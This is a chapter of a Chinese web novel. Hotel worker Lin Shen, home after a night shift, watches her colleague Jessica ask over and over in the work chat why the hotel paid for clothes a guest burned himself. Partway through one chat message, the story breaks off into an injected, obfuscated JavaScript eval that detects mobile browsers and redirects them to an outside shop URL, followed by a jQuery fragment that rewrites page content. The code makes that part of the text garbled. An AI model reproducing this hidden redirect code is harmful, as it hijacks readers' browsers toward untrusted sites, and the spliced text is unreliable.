上午九点，林深下班。她和Helen一起走出员工通道，酒店门口的空气已经有点冷了，路边停着等客的出租车，早餐铺刚出锅的包子冒着白气。两个人一起往地铁站走，Helen低头看手机，忽然笑了一下。林深偏头。
“怎么了？”
Helen把手机递过来。工作群里。
Jessica：
“昨天那个300什么意思？”
Helen低头打字。
“客诉。”
发完就把手机收起来。林深说。
“你不解释？”
“QMS写了。”
“也是。”
两个人进地铁站，Helen去另一条线，挥了挥手。
“睡觉去了。”
“嗯。”
地铁门关上，林深找了个位置坐下。手机震了一下，工作群。
Jessica：
“我知道客诉。”
“客人自己烫的啊。”
林深低头笑了一下，继续往下翻。
Jessica：
“人呢？”
没人回。地铁进站，手机信号断了一下，等重新恢复的时候群里又多了几条。
Jessica：
“客人自己把自己衣服烫坏。”
“你赔钱？”
“？？？”
林深靠在座位上，已经能想象Jessica现在的表情。地铁继续往前，Jessica还在发。
“熨斗是酒店的我知道。”
“衣服不是酒店的啊。”
“他自己烫的啊。”
林深彻底笑出了声，旁边一个阿姨看了她一眼，她赶紧收起手机。
回到家以后，来福已经在门口等她。开门，换鞋，喂狗，洗澡，一套流程下来已经快十点半。她躺到床上，睡前习惯性又看了一眼群。Jessica还在。
“我还是没想通。”
下面没人回复。林深把手机丢到旁边，睡觉。
这一觉直接睡到下午五点，醒来的时候天已经开始暗了。来福正趴在床边睡觉，林深迷迷糊糊摸过手机，几十条未读消息。工作群最上面。
Jessica：
“他自己烫的啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774502|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！！！”
林深瞬间清醒。往上翻，全是Jessica，中间偶尔夹着别人说工作，Jessica又会把话题拉回来。
“我知道客诉。”
“我问为什么赔。”
“没人觉得奇怪吗？”
“他自己烫的啊。”
林深笑得肩膀发抖。来福被她吵醒，抬头看了一眼，又趴回去。就在这时候，群里终于出现了Helen，只有两个字。
“QMS。”
然后又消失了。不到十秒，Jessica秒回。
“我知道QMS。”
“我问为什么赔。”
林深笑得直接把手机扣在床上。九个小时，Helen睡了一觉，Jessica想了九个小时，问题还停留在原地——客人自己把衣服烫坏，为什么赔钱。
来福从地上爬起来，伸了个懒腰。林深揉了揉它脑袋。
“你说。”
“为什么赔钱？”
来福看着她，沉默两秒，开口。
“二百五。”
房间里安静了一秒，然后林深笑倒在床上。